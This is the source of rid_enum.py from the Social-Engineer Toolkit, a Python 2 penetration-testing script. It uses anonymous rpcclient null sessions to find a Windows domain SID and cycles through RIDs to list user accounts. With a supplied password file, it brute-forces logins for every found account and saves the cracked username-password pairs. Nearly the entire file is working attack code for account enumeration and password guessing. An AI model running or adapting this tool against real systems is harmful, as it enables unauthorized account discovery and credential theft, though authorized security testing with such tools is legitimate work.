social-engineer-toolkit/src/fasttrack/rid_enum.py

#!/usr/bin/python
import subprocess
import os
import sys
#############################################################################################################
#
# RID Enum v0.2
# RID Cycling Tool
#
# Written by: David Kennedy (ReL1K)
# Website: https://www.trustedsec.com
# Twitter: @TrustedSec
# Twitter: @dave_rel1k
#
# This tool will use rpcclient to cycle through and identify what rid accounts exist. Uses a few
# different techniques to find the proper RID.
#
#############################################################################################################

# attempt to use lsa query furst
def check_user_lsa(ip):
    # pull the domain via lsaenum
    proc = subprocess.Popen('rpcclient -U "" %s -N -c "lsaquery"' % (ip), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    stdout_value=proc.communicate()[0]
    # if the user wasnt found, return a False
    if not "Domain Sid" in stdout_value:
        return False
    else:
        return stdout_value

# attempt to lookup an account via rpcclient
def check_user(ip, account):
    proc = subprocess.Popen('rpcclient -U "" %s -N -c "lookupnames %s"' % (ip,account), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    stdout_value=proc.communicate()[0]
    # if the user wasnt found, return a False
    if "NT_STATUS_NONE_MAPPED" in stdout_value:
        return False
    else:
        return stdout_value

# this will do a conversion to find the account name based on rid
def sid_to_name(ip, sid, rid):
    proc = subprocess.Popen('rpcclient -U "" %s -N -c "lookupsids %s-%s"' % (ip, sid,rid), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
    stdout_value = proc.communicate()[0]
    if not "*unknown*" in stdout_value:
        stdout_value = stdout_value.split(" ")
        # will show during an unhandled request
        if stdout_value[1] != "request":
            return stdout_value[1]

# capture initial input
success = ""
try:
    ip = sys.argv[1]
    rid_start = sys.argv[2]
    rid_stop = sys.argv[3]
    # if password file was specified
    passwords = ""
    try:
        # pull in password file
        passwords = sys.argv[4]
        # if its not there then bomb out
        if not os.path.isfile(passwords):
            print "[!] File was not found. Please try a path again."
            sys.exit()

    except IndexError:
        pass

    # check for python pexpect
    try:
        import pexpect

    # if we dont have it
    except ImportError:
        print "[!] Sorry boss, python-pexpect is not installed. You need to install this first."
        sys.exit()

    print "[*] Attempting lsaquery first...This will enumerate the base domain SID"
    # call the check_user_lsa function and check to see if we can find base SID guid
    sid = check_user_lsa(ip)
    # if lsa enumeration was successful then don't do
    if sid != False:
        if sid != "":
            print "[*] Successfully enumerated base domain SID.. Moving on to extract via RID"
            # format it properly
            sid = sid.rstrip()
            sid = sid.split(" ")
            sid = sid[4]

    # if we weren't successful on lsaquery
    if sid == False:
        print "[!] Unable to enumerate through lsaquery, trying default account names.."
        accounts = ("administrator", "guest", "krbtgt")
        for account in accounts:
            # check the user account based on tuple
            sid = check_user(ip, account)
            # if its false then cycle threw
            if sid == False:
                print "[!] Failed using account name: %s...Attempting another." % (account)
            else:
                if sid != "":
                    # success! Break out of the loop
                    print "[*] Successfully enumerated SID account.. Moving on to extract via RID.\n"
                    break
                else:
                    print "[!] Failed. Access is denied. Sorry boss."
                    sys.exit()

        # pulling the exact domain SID out
        sid = sid.split(" ")
        # pull first in tuple
        sid = sid[1]
        # remove the RID number
        sid = sid[:-4]

    # we has no sids :( exiting
    if sid == False:
        print "[!] Unable to enumerate user accounts, sorry..Must not be vulnerable."
        sys.exit()

    print "[*] Enumerating user accounts.. This could take a little while."
    # assign rid start and stop as integers
    rid_start = int(rid_start)
    rid_stop = int(rid_stop)

    # this is where we write out our output
    if os.path.isfile("%s_users.txt" % (ip)):
        # remove old file
        os.remove("%s_users.txt" % (ip))
    filewrite = file("%s_users.txt" % (ip), "a")

    # cycle through rid and enumerate the domain
    while rid_start != rid_stop:
        sidname = sid_to_name(ip, sid, rid_start)
        if sidname != None:
            # print the sid
            print "Account name: " + sidname
            # write the file out
            filewrite.write(sidname + "\n")

        # increase rid until we hit our rid_stop
        rid_start = rid_start + 1

    # close the file
    filewrite.close()

    print "[*] Finished enumerating user accounts... Seemed to be successful."

    # if we specified a password list
    if passwords != "":
        # our password file
        passfile = file(passwords, "r").readlines()

        # our list of users
        userfile = file("%s_users.txt" % (ip), "r").readlines()

        # cycle through a password list
        for password in passfile:
            # strip unused characters
            password = password.rstrip()
            for user in userfile:
                # strip unused characters
                user = user.rstrip()
                # insert additional backslash for rpcclient compliance
                user_fixed = user.replace("\\", "\\\\")
                # brute force, single quotes in names mess things up
                if not "'" in user:
                    child = pexpect.spawn("rpcclient -U '%s%%%s' %s" % (user_fixed, password, ip))
                    i = child.expect(['LOGON_FAILURE', 'rpcclient'])
                    if i == 0:
                        print "Failed guessing username of %s and password of %s" % (user, password)
                        child.kill(0)
                    if i == 1:
                        print "[*] Successfully guessed username: %s with password of: %s" % (user, password)
                        success = success + "username: %s password: %s\n" % (user, password)
                        child.kill(0)

        # if we weren't successful
        if success == "":
            print "\n[!] Unable to brute force a user account, sorry boss."

        # if we got lucky
        else:
            filewrite = file("%s_success_results.txt" % (ip), "w")
            filewrite.write(success)
            print "[*] We got some accounts, exported results to %s_success_results.txt" % (ip)

        print "[*] All accounts extracted via RID cycling have been exported to %s_users.txt" % (ip)
    # exit out after we are finished
    sys.exit()

# except keyboard interrupt
except KeyboardInterrupt:
    print "[*] Okay, Okay... Exiting... Thanks for using rid_enum.py"

# except indexerror
except IndexError, e:

    print """
.______       __   _______         _______ .__   __.  __    __  .___  ___.
|   _  \     |  | |       \       |   ____||  \ |  | |  |  |  | |   \/   |
|  |_)  |    |  | |  .--.  |      |  |__   |   \|  | |  |  |  | |  \  /  |
|      /     |  | |  |  |  |      |   __|  |  . `  | |  |  |  | |  |\/|  |
|  |\  \----.|  | |  '--'  |      |  |____ |  |\   | |  `--'  | |  |  |  |
| _| `._____||__| |_______/  _____|_______||__| \__|  \______/  |__|  |__|
                        |______|

Written by: David Kennedy (ReL1K)
Version: 0.2
Company: https://www.trustedsec.com
Twitter: @TrustedSec
Twitter: @Dave_ReL1K

Rid Enum is a RID cycling attack that attempts to enumerate user accounts through
null sessions and the SID to RID enum. If you specify a password file, it will
automatically attempt to brute force the user accounts when its finished enumerating.

- RID_ENUM is open source and uses all standard python libraries minus python-pexpect. -

Example: ./rid_enum.py 192.168.1.50 500 50000 /root/dict.txt

Usage: ./rid_enum.py <server_ip> <start_rid> <end_rid> <optional_password_file>
"""
    sys.exit()